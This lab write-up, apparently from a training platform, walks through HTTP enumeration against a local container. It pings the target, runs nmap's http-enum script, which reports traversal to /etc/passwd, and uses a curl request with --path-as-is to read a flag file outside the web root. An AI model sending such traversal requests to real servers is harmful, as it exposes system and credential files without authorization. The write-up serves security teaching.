# HTTP Enumeration & Directory Traversal

A project in the Cybersecurity Skill Tree

## Project description

In this project, I will demonstrate the fundamentals of web application enumeration, hidden directory discovery, and directory traversal exploitation, all without advanced tools.

## Verify Connectivity to Target with Ping

First, I will verify the target server's accessibility with the "ping" command.

```
labex:project/ $ ping -c 4 target
PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.044 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.028 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.035 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.039 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3054ms
rtt min/avg/max/mdev = 0.028/0.036/0.044/0.005 ms
```

## Scan Open Ports with Nmap

Next, I will use nmap to scan for an open web service and identify potential vulnerabilities.

```
labex:project/ $ nmap --script http-enum -p80 target
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-08 00:04 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00061s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|_  /../../../../../../../../../../etc/passwd: Simple path traversal in URI (Linux)

Nmap done: 1 IP address (1 host up) scanned in 15.95 seconds
```

## Connect to Target via HTTP

The nmap scan has discovered a simple directory traversal vulnerability on the web server, so now I will use “curl” to exploit it and find the flag hidden in the server’s root directory.

```
labex:project/ $ curl http://target
<html><body><h1>It works!</h1></body></html>
labex:project/ $ curl "http://target/../../../etc/flag.txt" --path-as-is
labex{p4th_tr4v3rs4l_w1n}
```

## Summary

This is an example of what can happen when a lack of input validation in a web application can lead to directory traversal and, eventually, a serious breach of sensitive data.